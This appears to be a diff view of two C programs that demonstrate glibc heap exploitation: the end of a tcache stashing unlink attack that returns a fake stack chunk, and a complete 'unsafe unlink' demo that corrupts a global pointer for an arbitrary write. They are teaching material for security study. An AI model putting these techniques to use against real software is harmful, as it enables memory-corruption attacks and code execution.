//now they are put into unsorted bin | ||
free(chunk_lis[0]); | ||
free(chunk_lis[2]); | ||
|
||
//convert into small bin | ||
printf("Now we alloc a chunk larger than 0x90 to put chunk0 and chunk2 into small bin.\n\n"); | ||
|
||
malloc(0xa0);// size > 0x90 | ||
|
||
//now 5 tcache bins | ||
printf("Then we malloc two chunks to spare space for small bins. After that, we now have 5 tcache bins and 2 small bins\n\n"); | ||
|
||
malloc(0x90); | ||
malloc(0x90); | ||
|
||
printf("Now we emulate a vulnerability that can overwrite the victim->bk pointer into fake_chunk addr: %p.\n\n",(void*)stack_var); | ||
|
||
//change victim->bck | ||
/*VULNERABILITY*/ | ||
chunk_lis[2][1] = (unsigned long)stack_var; | ||
/*VULNERABILITY*/ | ||
|
||
//trigger the attack | ||
printf("Finally we alloc a 0x90 chunk with calloc to trigger the attack. The small bin preiously freed will be returned to user, the other one and the fake_chunk were linked into tcache bins.\n\n"); | ||
|
||
calloc(1,0x90); | ||
|
||
printf("Now our fake chunk has been put into tcache bin[0xa0] list. Its fd pointer now point to next free chunk: %p and the bck->fd has been changed into a libc addr: %p\n\n",(void*)stack_var[2],(void*)stack_var[4]); | ||
|
||
//malloc and return our fake chunk on stack | ||
target = malloc(0x90); | ||
|
||
printf("As you can see, next malloc(0x90) will return the region our fake chunk: %p\n",(void*)target); | ||
|
||
assert(target == &stack_var[2]); | ||
return 0; | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,64 @@ | ||
#include <stdio.h> | ||
#include <stdlib.h> | ||
#include <string.h> | ||
#include <stdint.h> | ||
#include <assert.h> | ||
|
||
uint64_t *chunk0_ptr; | ||
|
||
int main() | ||
{ | ||
setbuf(stdout, NULL); | ||
printf("Welcome to unsafe unlink 2.0!\n"); | ||
printf("Tested in Ubuntu 20.04 64bit.\n"); | ||
printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n"); | ||
printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n"); | ||
|
||
int malloc_size = 0x420; //we want to be big enough not to use tcache or fastbin | ||
int header_size = 2; | ||
|
||
printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n"); | ||
|
||
chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0 | ||
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1 | ||
printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr); | ||
printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr); | ||
|
||
printf("We create a fake chunk inside chunk0.\n"); | ||
printf("We setup the size of our fake chunk so that we can bypass the check introduced in https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=d6db68e66dff25d12c3bc5641b60cbd7fb6ab44f\n"); | ||
chunk0_ptr[1] = chunk0_ptr[-1] - 0x10; | ||
printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n"); | ||
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3); | ||
printf("We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n"); | ||
printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n"); | ||
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2); | ||
printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]); | ||
printf("Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]); | ||
|
||
printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n"); | ||
uint64_t *chunk1_hdr = chunk1_ptr - header_size; | ||
printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n"); | ||
printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n"); | ||
chunk1_hdr[0] = malloc_size; | ||
printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x430, however this is its new value: %p\n",(void*)chunk1_hdr[0]); | ||
printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n"); | ||
chunk1_hdr[1] &= ~1; | ||
|
||
printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n"); | ||
printf("You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n"); | ||
free(chunk1_ptr); | ||
|
||
printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n"); | ||
char victim_string[8]; | ||
strcpy(victim_string,"Hello!~"); | ||
chunk0_ptr[3] = (uint64_t) victim_string; | ||
|
||
printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n"); | ||
printf("Original value: %s\n",victim_string); | ||
chunk0_ptr[0] = 0x4141414142424242LL; | ||
printf("New Value: %s\n",victim_string); | ||
|
||
// sanity check | ||
assert(*(long *)victim_string == 0x4141414142424242L); | ||
} | ||
|